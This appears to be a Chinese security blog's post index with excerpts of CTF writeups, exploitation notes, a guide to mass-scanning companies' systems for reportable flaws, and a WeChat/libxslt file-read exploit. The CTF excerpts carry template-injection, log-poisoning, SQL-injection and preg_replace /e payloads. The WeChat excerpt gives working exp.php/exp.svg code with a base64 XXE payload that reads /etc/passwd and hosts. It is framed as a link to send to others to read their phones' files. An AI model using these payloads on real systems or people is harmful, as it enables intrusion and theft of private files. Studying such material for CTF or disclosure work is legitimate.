2024寒假训练赛1——Writeup

WEB LoveTok 拿到附件后先看文件结构 还是比较简单的,老规矩,先从index入口开始 注意到这个对象,是个路由,路由方法在上面的函数。文件结构里找一下发现了同名的文件,进去看看 发现接收format参数后拿他去new了一个对象,同样跟进一下这个TimeModel文件 先看构造函数,可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法,如果被处理数据是输入到数据库中的,就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是,他只在数据输入进数据库时有效。 接下来就是一些显示的处理。看到下面的getTime方法,有个eval,应该就是利用这个家伙了 可以看到format有被放到eval中,但是不管输入什么都会被当成文本。怎么办呢?看提示 又是一个直接给payload的题了属于是 霓虹灯 一样,先看文件结构 发现不是常规语言,而是ruby 没事,同样先找index入口。 post提交了一个表单,没有明显的接口提示,那就直接看看controllers吧 没猜错,controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了,但是我们还不清楚这个ERB对象是干嘛用的,再看看其他文件,也没发现有这个ERB类的定义,所以猜测应该是ruby自带的 搜了一下发现还真是,是个模板,而且还有个模板注入漏洞 发现ERB是Embedded RuBy的简称,意思是嵌入式的Ruby,是一种文本模板技术 网上提供了很多这个模板的注入方法,简单看了一下,读文件应该是长下面这样 <%= File.open('flag.txt').read %> 但是显然这应该不满足我们的正则匹配规则,怎么办呢?我看到了这篇文档 简单来说就是用^或者$,但是实测发现并不奏效,不过也当作是个知识点记录一下 怎么办呢?继续搜,发现了这个 是的,使用%0a或者\n换行就能绕过。拿我们前面的payload测试一下 1111%0a<%= File.open('/flag').read %> 这里有个坑要注意,如果上面这句payload直接在前端的输入框输入,就会被多次url编码,导致后端接收到的结果与预期不同,因此要将%,=等符号手动url编码后放置到数据包中进行发送 最终在数据包中的payload应该如下 neon=111%0a<%25%3d+File.open('/flag').read+%25> 有毒朋友 简单的文件包含与本地命令执行,下载附件后先看入口index.php 发现是读cookie,并且看到是被base64编码的,因此可以抓包下来看到serialize($page)的内容 在右侧已经被自动解码 继续看代码,跟进到PageModel 发现有一个文件包含的地方,并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可随着数据包而修改的文件内容的,第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的这篇博客 所以可以通过修改User-Agent,从而达到让日志文件被写入php指令并执行的目的 这里要注意,得发送两次才能看到ls的结果,可以思考一下这是为什么 MISC 嘈杂 就像提示里说的那样,这里直接放exp import numpy as np from scipy.io.wavfile import read from scipy.fft import dst # 读取音频文件 final_waveform = read("encrypted.wav") # 对音频信号进行离散余弦变换(DST) result = dst(final_waveform[1]) # 从变换结果中选择幅度大于10^5的值 amplitudes = result[result > 10**5] amplitudes.sort() # 用于存储恢复的文本 recovered = "" # 遍历选定的幅度值 for a in amplitudes: # 找到幅度在变换结果中的位置 found = np.where(result == a)[0][0] # 判断位置是否为奇数 if found % 2 == 1: # 计算字符对应的ASCII码值 c = round(found / 20) # 将ASCII码值缩小,直到在可打印字符范围内 while c > 128: c //= 4 # 将字符添加到恢复的文本中 recovered += chr(c) # 打印恢复的flag print(recovered) 莫斯档案馆 每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。 ...

January 24, 2024 · 12 min · Red

[靶场笔记]第十一章

@在php curl中的作用 简单来说,就是当使用上面这个Curl方法时,使用@可以读取文件。因此在一些url参数中如果使用了这个方法(可以用是否是执行ping命令来判断),就可能存在LFI preg_match()函数漏洞 在这个函数中,可以存在三个参数 preg_replace($pattern, $replacement, $subject) 作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。 $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 /e 可以修正符使该函数将replacement 参数当作 PHP 代码。例如 pat=/abc/e&rep=system("ls")&sub=abc 因为e在这里是作修饰符,因此abc必须用两个斜杠括起来(正则表达式)。 flask session伪造 flask session的构造方式是明文+SECRET_KEY+时间,因此伪造的关键在于获取SECRET_KEY。可以使用flask session manager工具进行伪造 /proc/self/… 这是一个特殊的目录,算是与linux内核的一个接口。如果是/proc/{pid}这样的目录,那么这个目录下的内容则是相应进程的运行信息。 有几个比较重要的文件,可以参考下图(原文) PHP session反序化漏洞 可以看这篇博客,其实就是在生产环境中如果对php session的读取和存储方式不一致,就会导致格式上的差异,从而导致触发反序化漏洞 但仔细一想,在真实渗透环境中应该很少有程序员会在php.ini设置好的基础上再添加其他php session处理器了吧,就当学习一下 题目的名字 有时候,题目的名字就隐藏了这道题的poc,不信可以试试这题😂 不过还是记录一下深信服的EDR RCE吧深信服 EDR终端检测响应平台RCE漏洞代码分析 一个巧妙的变量覆盖 preg_match()绕过 %0a没被禁用的情况下,是可以起到绕过的作用的。不然就是用大量字符导致preg_match()崩溃输出false。这种方法适合用在判断语句如下的情况 if(!preg_match(...)) ereg的00截断 很早之前记录过这个函数,不过不能识别数组的特性会让其返回false。今天再补充一个特性,就是当这个函数读到%00就会截止返回null,可以用来应付下面这种情况 if(ereg(...)!==FALSE) 科学计数法 php的判断是支持科学计数法的,例如1e8,会被判断成三个字符,但是这个数字可比9999999大多了

December 12, 2023 · 1 min · Red

2023TKKCTF——Write up

⚠:如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员,用语会比较口语化,如有不严谨的地方还请见谅 WEB easy_SQL 拿到题第一步先审计代码,这里过滤只有一个clean函数,按照常规有两种解题思路 1.在查pass的地方绕过,在name后输入管理员账号即可。但问题就是,我们现在并没有管理员账号,因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除 2.、在name或pass里插入联合查询,以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况,而且还会出现单/双引号被clean过滤的情况 怎么办呢?我们先把query里的sql语句提取出来做一下研究 SELECT * FROM users WHERE name='".$username."' AND pass='".$password."'; 假设我现在输入的username=admin,password=123,那么就是 SELECT * FROM users WHERE name='admin' AND pass='123'; 这里我们先尝试把AND pass删掉,在username输入\ SELECT * FROM users WHERE name='admin\' AND pass='123'; 为什么这样就叫把AND pass删掉呢?因为原本在admin后的引号被斜杠转义成了内容,丧失了原先用来“框住”字符串的功能,而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ,SQL语句变成 SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123'; 123';就会被注释掉,而这句语句where后面的条件因为or 1=1而100%成立,因此就会执行SELECT * FROM users,即可拿到flag。 这里有个细节需要注意,就是--后面是要带个空格的,一些浏览器会把URL中最后一个空格删掉,因此要手动补一个%20 时光密钥 PS:本题由于容器实例时间校对有错,因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好,多算了二十几秒就开始发包尝试 打开实例,根据提示,先算出合适的时间戳,再用burp抓包修改一下即可 在网上找到现在的时间戳 burp抓包 为了方便操作,我们把数据包发到repeater 更新一下时间戳,预估个比当前时间戳多20到25秒左右的时间放到password,不断点击send直至出现下面所示的cookie即可 根据所给提示里的博客可知,base64解码该cookie即可获得下面结果 将gift值后面的东西进行base32解码即可 ...

December 11, 2023 · 9 min · Red

[技术杂谈]水证书指南

01 CNVD证书获取条件 给没挖过洞的朋友们开个扫盲文 首先CNVD证书的发放条件,这个在官网都有可以自己去看。我下面截取部分主要的。 (1)对于中危及中危以上通用型漏洞(CVSS2.0基准评分超过4.0分)(除小厂商的产品、非重要APP、黑盒测试案例不满10起等不颁发证书)(注:大厂商的判断标准为(注册资金5000万以上,或者案例涉及省部级以上单位的)) (2)涉及电信行业单位(中国移动、中国联通、中国电信及中国铁塔公司)和中央部委级别(不含直属事业单位)的高危事件型漏洞,CNVD将给予原创漏洞证明(即CNVD漏洞证书,电子版),该证明可通过编号在CNVD官方网站进行查询跟踪。时限要求:按周对上一周归档漏洞且满足证书颁发条件的进行批量制作。(每周三或周四颁发证书) 02 寻找目标 如果是手上0洞的小白或者常年SRC低危选手,先不用把目光放在高大上的org、gov。先看看能不能捡什么漏。(经常看到有些师傅们能捡到弱口令之类的,我真怀疑他们就是这个厂商的开发,要不然这种弱口令哪轮得到他们来找。)老实点,先从安全之友爱企查开始好了。 1、首先,根据CNVD证书的颁发要求,我们最基本的肯定要找5000w注册资金的企业。 2、资本类型最好选rmb,外国企业做的软件国内用的肯定比较少 3、关键词可以搜索,“计算机”、“软件”等跟开发有关的关键词这样更容易命中 4、参保人数个人觉得想要卖的多的软件,低于100人的企业基本没这个水平,所以选人多点的吧。 5、有的时候搜出来的企业过多,导致达到爱企查导出上限,那么就细分一些行业和地区,减少搜索结果,分批导出。 有了企业接下来要去找互联网上部署的系统,自然要用到FOFA来查询,本着能白嫖就不自己动手的原则,github上随便搜了一下有很多项目,代码也都大差不差,拿来下改一改。把公司放到文件列表中。 修改的代码主要是两个地方 1、在通过fofa爬取公司软件的时候,需要注意爬出的系统至少要满足10个系统以上,因为即使有漏洞,如果不达到10个案例,按照CNVD的规则也是没有证书的。 2、fofa爬取的很多系统存在脏数据,例如菠菜之类的站点,需要将这部分脏数据去除。 最终爬出来的结果如下 格式以网站title + 公司名 + 例子站点URL组成 接下里就看个人的测试能力了,能不能找到一些中危或以上级别的漏洞了,不过我比较懒,先找找有没有通用RCE漏洞,例如Log4j、Fastjson等。直接搬出我的xray、xpoc、appscan、awvs、afrog、nmap扫一遍,运气比较好,扫到过几次。 还有一种就是通过fofa、hunter之类的测绘平台纯碰运气了 因为很多通用软件title都喜欢使用“管理平台”、“管理系统”等作为title,而且有些系统因为要声明软件著作权,大多会在主页出现“版权所有”的字样,基于上述的总结,下面是我之前比较喜欢用的查询组合,给大家参考。 (title="管理系统" || title="管理平台") && body="版权所有" && title!="路由" && title!="YApi" && title!="防火墙" && title!="安装包" && country="CN" && server!="Microsoft" && host!="com" && host!="net" && host!="cn" && after="2020" 03 报告提交 关于发现漏洞的报告提交,因为我提交的只有通用漏洞,所以只分享一些通用漏洞的提交经验。 1、证明资产是5000w以上的资产,最好的方法就是爱企查、天眼查之类的平台截图证明。 2、如果涉及代码审计的最好给个代码链接,或者详细的代码审计过程 3、资产的查找指纹,最好给出来,这样审核也方便确认是不是10个以上的系统,例如 title=“xxxx” 4、至少有三个互联网复现的案例,这个千万不要偷懒,而且如果复习过程毕竟复杂,建议写详细点,毕竟如果驳回让你重写,那么你要等到重新审核,不知道是猴年马月了。 5、最后证书真的很慢,1-6个月都是正常的。

November 23, 2023 · 1 min · Red

[漏洞分享]微信任意文件读取漏洞

漏洞描述 Libxslt 是基于 WebKit 的浏览器(如 Chrome、Safari 等)中使用的默认 XSL(eXtensible Stylesheet Language)库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,从 http(s):// URL 中访问 file:// URL,并获得文件访问权限。 在默认沙盒环境下,攻击者可以在 iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和Samsung TV(默认浏览器)上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时(Electron/PhantomJS),攻击者可以在任何操作系统上读取任何文件。(有趣的是,实测鸿蒙是唯一一个没被影响的系统) 而且微信自带的浏览器是没有开沙箱的,也就是说存在任意文件读取 漏洞复现 先来看看exp.php <?php header("Access-Control-Allow-Origin: *"); echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA=="); ?> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> </p> 再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" font-size="18" width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <xmp><xsl:copy-of select="document('exp.php')"/></xmp> <script type="text/javascript"> </script> </body> </foreignObject> </svg> </xsl:template> </xsl:stylesheet> 利用上述exp代码在本地搭建一个简单php web服务,在微信把链接发给别人,即可读取到别人手机上的/etc/passwd等敏感信息(下面测试环境是安卓8.0和IOS16.5,均为截至2023.11.22最新版微信) ...

November 22, 2023 · 1 min · Red